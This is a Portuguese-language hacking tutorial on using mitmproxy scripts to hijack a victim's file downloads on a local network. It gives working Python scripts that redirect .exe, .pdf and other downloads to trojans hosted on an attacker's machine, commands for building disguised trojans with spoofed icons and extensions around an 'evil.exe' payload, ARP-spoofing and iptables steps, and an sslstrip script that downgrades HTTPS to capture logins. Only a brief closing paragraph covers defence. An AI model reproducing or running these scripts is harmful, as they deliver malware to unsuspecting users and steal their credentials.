mitmproxy script
Com o mitmproxy podemos mudar até algum download que a vítima fizer e colocar algum trojan, virus backdoor. antes vamos ver o que acontece quando a vítima baixa algum arquivo.
Para você acompanhar esse post é necessário conhecer a ferramenta mitmproxy no primeiro post sobre ela aqui:
Vamos fazer um teste em nosso próprio computador para ver o que acontece baixando um arquivo Winzip
Vamos agora no mitmproxy web e procurar pelo arquivo baixado, pode ser qualquer arquivo, .doc . pdf, mas nesse caso foi .exe
Para ver mais informações basta clicar no pacote
Podemos ver o GET com a URL do arquivo, em Host vemos qual é o arquivo
Clicando em Response vemos o código 200 ok, que significa que foi aceito
Podemos clicar no link de download abaixo para baixar o arquivo
Ou em view para ver o arquivo hex seguindo o caminho View - hex - Display anyway
Aqui vemos o conteúdo do arquivo, como ver o html de uma página. e aqui podemos modificar qualquer parte ou todo o arquivo.
O único problema é que o arquivo hexadecimal pode ser grande e conter caracteres que o mitmproxy não vai conseguir lidar corretamente.
Para modificar o conteúdo do arquivo vamos usar Scripts
Outro método é modificar todo o Response e não somente o arquivo hex, mas para isso também precisaremos utilizar script pois o mitmproxy e o mitmdump não aceitam essas modificações sem script
1 Conhecendo o mitmproxy scripts
Mitmproxy possui uma poderosa API de script que permite que você controle quase qualquer aspecto do tráfego recebido pelo proxy.
Vamos utilizar a linguagem Python para criar nossas proprias respostas ou modificar as respostas do usuário.
Assim podemos criar um SSLstrip ou DNSSpoofing, com essas técnicas poderemos criar nossas próprias ferramentas.
Vamos começar com um script bem básico e simples e depois vamos aprender como implementar nossas próprias ideias.
Exemplo Básico
Vamos utilizar um template para todos os scripts escritos
__________________________________________________
import mitmproxy
def request(flow):
#código para manipular fluxo de request(solicitação)
def response(flow):
#código para manipular fluxo de resposta
__________________________________________________
Vamos fazer um teste e pedir para nosso script imprimir os fluxos de request e response
Salvamos esse arquivo no root com o nome de basic.py
Agora vamos rodar o mitmproxy e dizer a ele rodar nosso script para manipular o fluxo.
Abrimos o terminal no /opt/mitmproxy#.
> ./mitmdump -s /root/basic.py |
-s - script com o local dele.
O firefox vai enviar todo o fluxo ao mitmproxy, e o mitmproxy vai rodar através de nosso script.
Ao entrarmos no Bing.com teremos em nosso terminal o script rodando
Podemos ver o fluxo de request e o response
2 Filtrando o fluxo com Script
Vamos voltar ao exemplo do início desse tutorial, quando a vítima baixou o Winzip.
Esse é o Request
Esse é a Response
Há algumas formas de como modificar o arquivo baixado, uma delas é modificando o link de download no arquivo html, e já explicamos essa técnica do tutorial mitmproxy 1 com modificações de JavaScript, nesse caso só deve mudar a pesquisa para .exe
Modificando toda a response
Outro método será modificar o conteúdo da solicitação inteira. A vantagem dessa técnica é que a resposta não importa e não precisamos recebê-la, assim pode-se utilizar o método MITM One Way Spoofing (Veja no post sobre Ettercap)
Para isso precisamos diferencia esse fluxo de todos os fluxos que recebemos em nosso Script.
Voltamos para o Código do Script
Como não precisamos da resposta podemos apagar essa parte do código, ficando assim:
import mitmproxy
def request(flow):
#código para manipular fluxo de request(solicitação)
Precisamos criar um código que vai diferenciar o fluxo que solicita o download dos outros fluxos. Para isso precisamos filtrar pelo arquivo que queremos modificar.
Antes vamos deixar nosso código mais eficiente, se repararmos na resposta ele traz diversas informações que não nos interessa
Vamos modificar para que ele só nos mostre a URL limpa, sem todas as outras informações. para isso Só precisamos modificar acrescentando flow.request e também tiramos o def response
novamente rodamos o comando
> ./mitmdump -s /root/basic.py
Entramos no site do winzip novamente (para teste é bom limpar o histórico do navegador)
Podemos ver que está mais limpo e recebemos somente os fluxos de Request.
Mais para cima podemos ver o arquivo de download e podemos reparar que ele finaliza com .exe
Usando Condições para executar código nos pacotes
A parte do fluxo que nos interessamos é do download. Vamos modificar novamente o código e tentar filtrar para ver somente o arquivo .exe
Acrescentaremos o código
print(flow.request.pretty_url)
O código pretty_url irá mostrar somente o código e o resultado será bem mais limpo é só temos URL normais:
Agora se quisermos somente .exe podemos usar um método if
if flow.request.pretty_url.endswith(".exe")
print(flow)
Também vamos acrescentar um texto informando que temos um fluxo interessante
O resultado será:
Esse Script não faz nada de útil ainda, mas é uma base para filtrar. agora vamos aprender a modificar esse fluxo.
Eis o template de filtragem:
__________________________________________________
import mitmproxy def request(flow): #código para manipular fluxo de request(solicitação) #código para filtrar fluxo de request .exe if flow.request.pretty_url.endswith(".exe") print("[+] Got interesting flow") print(flow) |
__________________________________________________
Modificando a resposta
Para modificar vamos utilizar em nosso código um método do mitmproxy library.
Veja a documentação completa aqui:
mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS,)
Vamos entender o que significa cada um desses métodos.
Vamos em nosso código modificar o HTTP STATUS CODE
Eis uma lista com o significado de cada código
Em nosso caso iremos utilizar o código 301 Movido Permanentemente que é um código de status de resposta HTTP usado para redirecionamento permanente de URL, o que significa que links ou registros que atualmente utilizem a URL da qual a resposta foi recebida devem ser atualizados para a nova. A nova URL deve ser fornecida no campo Location incluído na resposta.
e podemos ver mais informações de como utilizar aqui: https://pt.wikipedia.org/wiki/HTTP_301
Um exemplo de como ele funciona:
HTTP/1.1 301 Moved Permanently
Location: http://www.example.org/index.asp
Location: http://www.example.org/index.asp
Isso é perfeito e só precisamos colocar isso em nosso header acrescentando a nova localização do URL, nesse caso colocaremos um arquivo que está em nosso próprio servidor
Não precisamos mudar o CONTENT pois já estamos redirecionando a vítima para outro arquivo por isso podemos deletar CONTENT acrescentando ""
Para utilizar esse código no fluxo devemos também acrescentar o código
flow.response =
Testando
Rodamos novamente o mitmdump com o nosso script
> ./mitmdump -s /root/basic.py
Entramos na vítima, deleta o histórico e baixa novamente o winzip na página original
Fomos redirecionado para a página que modificamos e esse é o resultado
Porém temos um problema o Script reconheceu a solicitação do winzip.exe e redirecionou atraves do código 301 para nossa url 10.20.215.8/file.exe mas o problema é que nossa página também finaliza com .exe e é novamente redirecionada entrando em um loop infinito.
Para isso precisamos consertar nosso código dizendo para redirecionar exceto quando for a URL 10.20.215.8/file.exe para isso vamos acrescentar
if flow.request.host != "10.20.215.8" and
__________________________________________________
import mitmproxy def request(flow): #código para modificar arquivo .exe if flow.request.host != "10.20.215.8" and flow.request.pretty_url.endswith(".exe") : print("[+] Got interesting flow") flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location" : "http://10.20.215.8/file.exe"},) |
__________________________________________________
Rodamos novamente o mitmdump com o nosso script
> ./mitmdump -s /root/basic.py
Entramos na vítima, deletamos o histórico e baixamos novamente o winzip na página original
Podemos ver que há um arquivo chamado file.exe from 10.20.215.8
Podemos utilizar para modificar qualquer arquivo, imagem, pdf ou qualquer arquivo.
3 Criando Trojan para trocar com o arquivo
Agora que podemos substituir qualquer arquivo por nosso arquivo vamos aprender a criar um Trojan.
O Cavalo de Tróia ou Trojan Horse é um tipo programa malicioso que podem entrar em um computador disfarçados como um programa comum e legítimo.
Ele serve para possibilitar a abertura de uma porta de forma que usuários mal intencionados possam invadir seu PC.
Os dois tipos mais comuns de Trojans são os Keyloggers (que normalmente são utilizados para roubar senhas) e os Backdoors (arquivos que possibilitam aberturas de portas para invasão).
Quando a vítima roda o arquivo ela não verá nada acontecendo pois tudo está acontecendo no background. Porém as vezes pode aparecer algum aviso e a vítima vai ficar desconfiado.
Dessa forma iremos esconder o Trojan no arquivo que a vítima está esperando, se ela baixar uma musica vai abrir uma musica se for uma foto ela vai ver a foto, se ela receber um pdf ele vai abrir um pdf mas no backgroud estará acionando nossa backdoor.
Há diversas formas de criar um Trojan, em outro artigo explicarei formas manuais de criar que dará mais opções para ser usado em diversos cenários, aqui estarei demonstrando um jeito mais fácil para aprendermos como usar isso com o mitmproxy
Instalação:
Depois no terminal deve entrar na pasta downloads
> cd downloads
> ls
Como o arquivo é .exe e estamos no linux precisa rodar com wine
> wine autoit-v3-setup.exe
Clicando enter ira abrir o instalador do Autoit e é só ir concordando.
Agora devemos instalar o TrojanFactory
> cd /opt
> git clone https://github.com/z00z/TrojanFactory.git
> ls
> cd TrojanFactory/
> ls
para rodar o programa
> python tronjan_factory.py
4 Criando o Trojan
Para o Trojan ser eficiente precisamos que ele tenha alguns pontos:
- Pareça com um arquivo normal: imagem, livro, audio, video etc…
- Que o arquivo malicioso rode silenciosamente no background
- Modificar o ícone
- Modificar a extensão do arquivo
Em outro Post vou mostrar como fazer tudo isso manualmente, mas agora vamos fazer com ajuda dessa ferramenta.
Vamos rodar a ferramenta
> python tronjan_factory.py --help
-f: Podemos ver que há um comando para mostrar o arquivo que a vítima irá ver. Se for um PDF por exemplo precisamos colocar o endereço dele, se não estiver na internet precisa estar em nosso próprio webserver no var/www/html
Vamos colocar um pdf qualquer e pesquisamos no google pelo acrobat readme pdf.
pegamos o endereço e copiamos.
Esse é um endereço que levará imediatamente ao arquivo pdf no navegador.
O comando por enquanto será:
> python tronjan_factory.py -f https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf
ainda devemos acrescentar no comando o arquivo malicioso
-e: O URL do arquivo malicioso que pode estará em nosso webserver iniciado com o apache2
Acrescentamos
python tronjan_factory.py -f https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf -e [http://ip do kali]/arquivo malicioso
ex:
python tronjan_factory.py -f https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf -e http://10.20.215.8/evil.exe
Como criar o arquivo malicioso explico no post sobre Backdoor
Outra opção é onde iremos guardar a combinação desses dois arquivos com a opção -o, escolhemos guardar na pasta do webserver para testarmos no windows.
python tronjan_factory.py -f https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf -f http://10.20.215.8/evil.exe -o /var/www/html/ReadMe.exe
Finalmente vamos criar um ícone com o comando -i e a localização do ícone que está em nossa pasta de download
> python tronjan_factory.py -f https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf -e http://10.20.215.8/evil.exe -o /var/www/html/ReadMe.exe -i /root/Downloads/pdf.ico
Se não houver nenhuma mensagem o arquivo foi criado com sucesso.
Testando no windows podemos ver o arquivo ReadMe com ícone de pdf
5 Utilizando MITMproxy para trocar algum pdf pelo trojan criado
__________________________________________________
import mitmproxy def request(flow): #código para modificar arquivo .pdf if flow.request.host != "10.20.215.8" and flow.request.pretty_url.endswith(".pdf") : print("[+] Got interesting flow") flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location" : "http://10.20.215.8/ReadMe.pdf"},) |
__________________________________________________
Agora só precisa fazer qualquer ataque MITM ou Fake Access Point
> ettercap -Tq -M arp:remote -i eth0 -S /10.20.215.1// /10.20.215.9/
Depois fazemos o acesso ao mitmproxy dentro do /opt/mitmproxy
> ./mitmdump -s /root/basic.py --transparent
Agora o comando iptables para enviar o tráfego da porta 80 para porta 8080
> iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
O arquivo malicioso pode ser qualquer um, um backdoor, um vírus, e até um keylogger
6 Criando um Script mais avançado
Iremos criar um Script que quando o alvo baixar algum arquivo, ele irá imediatamente criar um trojan desse arquivo junto com nosso arquivo malicioso.
Vamos acrescentar o código para criar um Trojan em nosso Script, e como ele é um comando bash precisamos fazer o comando python subprocess.call("", shell=True)
O comando python tronjan_factory.py precisa ser rodado dentro do /opt/TrojanFactory, e para rodar ele fora de sua localização é necessário especificar sua localização exata
subprocess.call("python /opt/TrojanFactory/ tronjan_factory.py...
Agora para fazer o comando dos arquivos, para ser variável dependendo do que o alvo vai baixar. O bom é que o mitmproxy é escrito em python para isso iremos criar uma variável chamada front_file que irá guardar a URL que o alvo baixou e colocar essa variável dentro do comando TrojanFactory (lembrando de fechar as aspas):
front_file = flow.request.pretty
Também devemos criar um + # na linha front_file = flow.request.pretty_url para a vítima não entrar em um loop criando trojans através de trojans e acrescentar o # no evil.exe
_________________________________________________________________________
import mitmproxy import subprocess def request(flow): #code to handle request flows if flow.request.host != "10.20.215.8" and flow.request.pretty_url.endswith(".pdf"): print("[+] Got interesting flow") front_file = flow.request.pretty_url + "#" subprocess.call("python /opt/TrojanFactory/tronjan_factory.py -f '" + front_file + "' -e http://10.20.215.8/evil.exe# -o /var/www/html/file.exe -i /root/Downloads/pdf.ico", shell=True) flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://10.20.215.8/file.exe"}) |
_________________________________________________________________________
Agora vamos testar mitmdump, ettercap, iptables:
Agora quando abrimos ele devemos receber o PDF que o alvo solicitou e não um genérico como aprendemos antes
Voilá
7 Melhorando o Script
O TrojanFactory vem com um script que resolve alguns problemas
- pode utilizar para diversos tipos de arquivos de uma só vez
- Ele faz Spoof dos arquivos on the fly para eles não ficarem com a extensao .exe
- Modifica o Ícone on the fly
Esse Script já foi baixado quando fizemos o clone e ele está no arquivo TrojanFactory com o nome mitmproxy-script.py
Agora só precisa mudar os dados
IP = o IP do Kali
TARGET_TEXTENSIONS = quais arquivos quer
EVIL_FILE = o endereço do Evil file
WEB_ROOT = "/var/www/html/"
SPOOF_EXTENSION = Se quiser fazer Spoof deixar True senão deixar False
TARGET_TEXTENSIONS = quais arquivos quer
EVIL_FILE = o endereço do Evil file
WEB_ROOT = "/var/www/html/"
SPOOF_EXTENSION = Se quiser fazer Spoof deixar True senão deixar False
import mitmproxy import subprocess import os from Trojan import * IP = "10.20.215.11" TARGET_TEXTENSIONS = [".exe", ".pdf", ".mp3"] EVIL_FILE = "http://10.20.215.8/evil.exe#" WEB_ROOT = "/var/www/html/" SPOOF_EXTENSION = True def request(flow): #code to handle request flows if flow.request.host != IP and flow.request.pretty_url.endswith(tuple(TARGET_TEXTENSIONS)): print("[+] Got interesting flow") front_file_name = flow.request.pretty_url.split("/")[-1].split(".")[0] front_file = flow.request.pretty_url + "#" download_file_name = front_file_name + ".exe" trojan_file = WEB_ROOT + download_file_name print("[+] Generating a trojan for " + flow.request.pretty_url) trojan = Trojan(front_file, EVIL_FILE, None, trojan_file) trojan.create() trojan.compile() if SPOOF_EXTENSION == True: print("[+] Renaming trojan to spoof its extension") front_file_extension = flow.request.pretty_url.split("/")[-1].split(".")[-1] if front_file_extension != "exe": new_name = front_file_name + "" + "".join(reversed(front_file_extension)) + ".exe" spoofed_file = WEB_ROOT + new_name os.rename(trojan_file, spoofed_file) trojan.zip(spoofed_file) download_file_name = front_file_name + ".zip" torjan_download_url = "http://" + IP + "/" + download_file_name flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location": torjan_download_url}) |
Dentro do Trojan Factory tem também uma pasta com os icones
Agora vamos testar mitmdump, ettercap, iptables:
Na vítima baixamos um .txt
Ele vem com o nome humans exatamente como arquivo e vem como .zip pois o file spoofing está ativado e para esconder a extensão .exe ele utiliza .zip
extraindo o arquivo ele terá o nome e escrito exe, porém com o final .txt essa é a única forma de fazer file spoofing, em outro artigo explicarei melhor como fazer isso.
Usando o Mitmproxy em HTTPS
Tudo o que vimos até agora só funciona em páginas http.
As páginas HTTPS
(Entenda aqui: http://www.techtudo.com.br/artigos/noticia/2012/07/qual-a-diferenca-entre-http-e-https.html)
criptografam a mensagem, e os dados não podem ser lidos e nem modificados.
No caso do mitmproxy não será possível utilizar o SSlstrip pois o mitmproxy é um transparent proxy e o SSlstrip também é um transparent proxy e não funciona juntos.
A solução será escrever um script para o mitmproxy que funciona como o SSLstrip para ultrapassar a proteção https.
No Github do mitmproxy há um arquivo chamado sslstrip.py
""" This script implements an sslstrip-like attack based on mitmproxy. https://moxie.org/software/sslstrip/ """ import re import urllib.parse import typing # noqa from mitmproxy import http # set of SSL/TLS capable hosts secure_hosts = set() # type: typing.Set[str] def request(flow: http.HTTPFlow) -> None: flow.request.headers.pop('If-Modified-Since', None) flow.request.headers.pop('Cache-Control', None) # do not force https redirection flow.request.headers.pop('Upgrade-Insecure-Requests', None) # proxy connections to SSL-enabled hosts if flow.request.pretty_host in secure_hosts: flow.request.scheme = 'https' flow.request.port = 443 # We need to update the request destination to whatever is specified in the host header: # Having no TLS Server Name Indication from the client and just an IP address as request.host # in transparent mode, TLS server name certificate validation would fail. flow.request.host = flow.request.pretty_host def response(flow: http.HTTPFlow) -> None: flow.response.headers.pop('Strict-Transport-Security', None) flow.response.headers.pop('Public-Key-Pins', None) # strip links in response body flow.response.content = flow.response.content.replace(b'https://', b'http://') # strip meta tag upgrade-insecure-requests in response body csp_meta_tag_pattern = b'<meta.*http-equiv=["\']Content-Security-Policy[\'"].*upgrade-insecure-requests.*?>' flow.response.content = re.sub(csp_meta_tag_pattern, b'', flow.response.content, flags=re.IGNORECASE) # strip links in 'Location' header if flow.response.headers.get('Location', '').startswith('https://'): location = flow.response.headers['Location'] hostname = urllib.parse.urlparse(location).hostname if hostname: secure_hosts.add(hostname) flow.response.headers['Location'] = location.replace('https://', 'http://', 1) # strip upgrade-insecure-requests in Content-Security-Policy header if re.search('upgrade-insecure-requests', flow.response.headers.get('Content-Security-Policy', ''), flags=re.IGNORECASE): csp = flow.response.headers['Content-Security-Policy'] flow.response.headers['Content-Security-Policy'] = re.sub('upgrade-insecure-requests[;\s]*', '', csp, flags=re.IGNORECASE) # strip secure flag from 'Set-Cookie' headers cookies = flow.response.headers.get_all('Set-Cookie') cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies] flow.response.headers.set_all('Set-Cookie', cookies) |
Vale a pena salvar esse script na página do mitmproxy com o nome sslstrip.py
Para utilizar é só fazer o ataque mitm
iniciar o mitmproxy com o comando
./mitmdump -s sslstrip.py --transparent |
E depois rodar o iptables
Testando vemos que funcionou
Indo ao Kali podemos ver a senha e Login de um site Https que fez downgrade para http
Agora que conhecemos como funciona vamos utilizar essa técnica para fazer todos os outros ataques que aprendemos.
O mitmproxy permite utilizar diversos scrips simultaneamente acrescentando mais um comando -s [script]
./mitmdump -s sslstrip.py -s root/basic.py --transparent |
Defesa
Para descobrir se você está em um ataque mitm pode-se utilizar uma ferramenta chamada xARP
Essa ferramenta somente detecta que você está sendo atacado.
Há um plugin que funciona para proteger do ataque que é o HTTPS Everywhere https://www.eff.org/https-everywhere que sempre manterá conexão criptografado mesmo se o hacker utilizar SSLstrip